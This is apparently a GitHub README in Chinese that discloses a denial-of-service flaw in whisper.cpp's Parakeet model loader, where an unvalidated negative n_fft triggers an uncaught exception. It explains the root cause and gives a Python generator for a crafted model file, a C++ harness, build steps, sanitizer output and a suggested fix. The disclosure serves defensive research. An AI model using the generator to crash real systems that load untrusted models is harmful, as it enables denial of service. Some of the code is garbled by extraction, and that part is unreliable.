TipsyPhiber/CVE_Parakeet_PoC

GitHub: TipsyPhiber/CVE_Parakeet_PoC

针对 whisper.cpp 的 Parakeet 模型加载器中因 n_fft 参数未验证而导致的拒绝服务漏洞的概念验证代码。

Stars: 1 | Forks: 0

# CVE_Parakeet_PoC ## 概述 `src/parakeet.cpp` 中的 Parakeet 模型加载器直接从模型文件中读取 `n_fft` 超参数,并在 `parakeet_mel_cache::init()` 中将其用作内部缓冲区的大小,且未进行任何验证。如果构造一个特殊的模型文件,将 `n_fft` 设置为负值,会导致使用一个极大的尺寸(负数 `int` 被扩展为 `size_t`)调用 `std::vector::resize()`,从而抛出 `std::length_error` 异常。由于初始化缓存的调用位于保护模型加载的 `try/catch` **外部**,该异常未被捕获,进程通过 `std::terminate` 被中止——这是一种纯粹通过加载不受信任的模型而引发的拒绝服务攻击。 当应用程序加载不受信任或由攻击者提供的 Parakeet 模型时,可以通过公开的加载入口点(例如 `parakeet_init_from_file_with_params`、`parakeet_init_from_buffer_with_params_no_state`)触发此问题。 **受影响的文件:** `src/parakeet.cpp` **复现版本:** `6fc7c33b`(撰写本文时的当前 `master` 分支),使用 `-DWHISPER_SANITIZE_ADDRESS=ON` 构建。 ## 根本原因 `n_fft` 直接从模型文件中读取,且从未进行验证: ``` // src/parakeet.cpp:1013 (inside parakeet_model_load) read_safe(loader, hparams.n_fft); ``` 随后它被用作 `parakeet_mel_cache::init()` 中的缓冲区大小: ``` // src/parakeet.cpp:480 void init(int fft_size) { n_fft = fft_size; sin_vals.resize(n_fft); // n_fft is a signed int, implicitly converted to size_t cos_vals.resize(n_fft); hann_window.resize(n_fft); ... } ``` 关键在于,初始化缓存的调用位于保护模型加载的 `try/catch` **外部**。保护块在第 3102 行结束,而缓存在之后的第 3114 行才被初始化: ``` // src/parakeet.cpp:3096 try { model_loaded = parakeet_model_load(loader, *ctx); } catch (const std::exception & e) { ... } catch (...) { ... } // 3102 — guard ends here if (!model_loaded) { ... return nullptr; } // src/parakeet.cpp:3114 — runs OUTSIDE the try/catch above ctx->mel_cache.init(ctx->model.hparams.n_fft); ``` 当 `n_fft` 为负数时,`resize()` 接收到扩展为 `size_t` 的值(例如 `-1` → `SIZE_MAX`)并抛出 `std::length_error`。由于 `parakeet.cpp:3114` 处的调用在 `try/catch` 之外,异常会未被捕获地传播。whisper.cpp 安装了全局 terminate 处理程序(`ggml_uncaught_exception`,位于 `ggml/src/ggml.cpp` 中),因此进程会打印 backtrace 并调用 `abort()` → 拒绝服务。 ## 复现 附件中提供了独立的生成器(generator)和测试载体(harness)。生成器会写入一个包含 `n_fft = -1` 的最小化 Parakeet 模型文件。测试载体通过公开的 buffer 入口点加载它。 构造的文件使用了 `n_loaded == 0`(没有 tensor 数据),这会到达 `parakeet_model_load`(`parakeet.cpp:1461`)中的“空模型”路径并返回 `true`,因此控制流能够执行到位于 `parakeet.cpp:3114` 的 `mel_cache.init(n_fft)`。 **生成器 (`make_poc.py`):** ``` import struct MAGIC = 0x67676d6c # GGML_FILE_MAGIC "ggml" def i32(v): return struct.pack(' #include #include #include "parakeet.h" int main(int argc, char** argv) { if (argc < 2) { fprintf(stderr, "usage: %s \n", argv[0]); return 1; } std::ifstream f(argv[1], std::ios::binary); if (!f) { fprintf(stderr, "cannot open %s\n", argv[1]); return 1; } std::vector buf((std::istreambuf_iterator(f)), {}); struct parakeet_context_params p = parakeet_context_default_params(); p.use_gpu = false; struct parakeet_context* ctx = parakeet_init_from_buffer_with_params_no_state(buf.data(), buf.size(), p); if (ctx) { printf("[+] returned ctx=%p\n", (void*)ctx); parakeet_free(ctx); } else { printf("[-] returned nullptr\n"); } return 0; } ``` **构建与运行(推荐使用 AddressSanitizer):** ``` # 使用 Parakeet 库和 ASan 构建 whisper.cpp: cmake -B build -DWHISPER_SANITIZE_ADDRESS=ON -DCMAKE_BUILD_TYPE=Debug cmake --build build --target parakeet -j python3 make_poc.py # 注意:Parakeet loader 位于 libparakeet 中,而不是 libwhisper。 g++ -g -O0 -fsanitize=address run_poc.cpp -o run_poc \ -Lbuild/bin -lparakeet -lggml -lggml-base -lggml-cpu \ -Wl,-rpath,build/bin -Iinclude -Iggml/include LD_LIBRARY_PATH=build/bin ./run_poc poc_nfft_neg1.bin # process aborts (std::terminate) ``` ## 观察结果 针对 `poc_nfft_neg1.bin` 运行测试载体会导致进程中止。以下是简化的 backtrace(在提交 `6fc7c33b` 上使用 ASan 构建): ``` parakeet_model_load: n_fft = -1 parakeet_model_load: WARN no tensors loaded from model file - assuming empty model for testing ... terminate called after throwing an instance of 'std::length_error' what(): vector::_M_default_append #12 std::vector::resize (__new_size=18446744073709551615) bits/stl_vector.h:1146 #13 parakeet_mel_cache::init (fft_size=-1) src/parakeet.cpp:482 #14 parakeet_init_with_params_no_state src/parakeet.cpp:3114 #15 parakeet_init_from_buffer_with_params_no_state src/parakeet.cpp:3081 #16 main run_poc.cpp:19 ==ERROR: AddressSanitizer: ABRT ... in __pthread_kill_implementation ``` 负的 `n_fft`(`-1`)在 `resize()` 处被扩展为 `18446744073709551615`(`SIZE_MAX`),`std::length_error` 从 `parakeet.cpp:482` 的 `init()` 中抛出,并且由于 `parakeet.cpp:3114` 处的调用位于加载器的 `try/catch` 之外,该异常未被捕获,导致进程中止。 ## 修复建议 在读取 `n_fft` 之后立即(在 `parakeet.cpp:1013` 附近)进行验证,并在失败时拒绝该模型,以便加载器能够干净地返回 `false`,而不是崩溃。至少应要求其为一个正且合理范围内的值: ``` read_safe(loader, hparams.n_fft); if (hparams.n_fft <= 0 || hparams.n_fft > PARAKEET_MAX_N_FFT /* e.g. 65536 */) { PARAKEET_LOG_ERROR("%s: invalid model (bad n_fft value %d)\n", __func__, hparams.n_fft); return false; } ``` 此外,位于 `parakeet.cpp:3114` 的 `mel_cache.init()` 应该被移至保护加载过程的 `try/catch` 内部,或者加载路径应确保在执行到该处之前 `n_fft` 已被验证,从而确保没有任何无效值能够引发未捕获的异常。
标签:Bash脚本, C++, 人工智能, 拒绝服务, 数据擦除, 漏洞分析, 用户模式Hook绕过, 语音识别, 路径探测, 逆向工具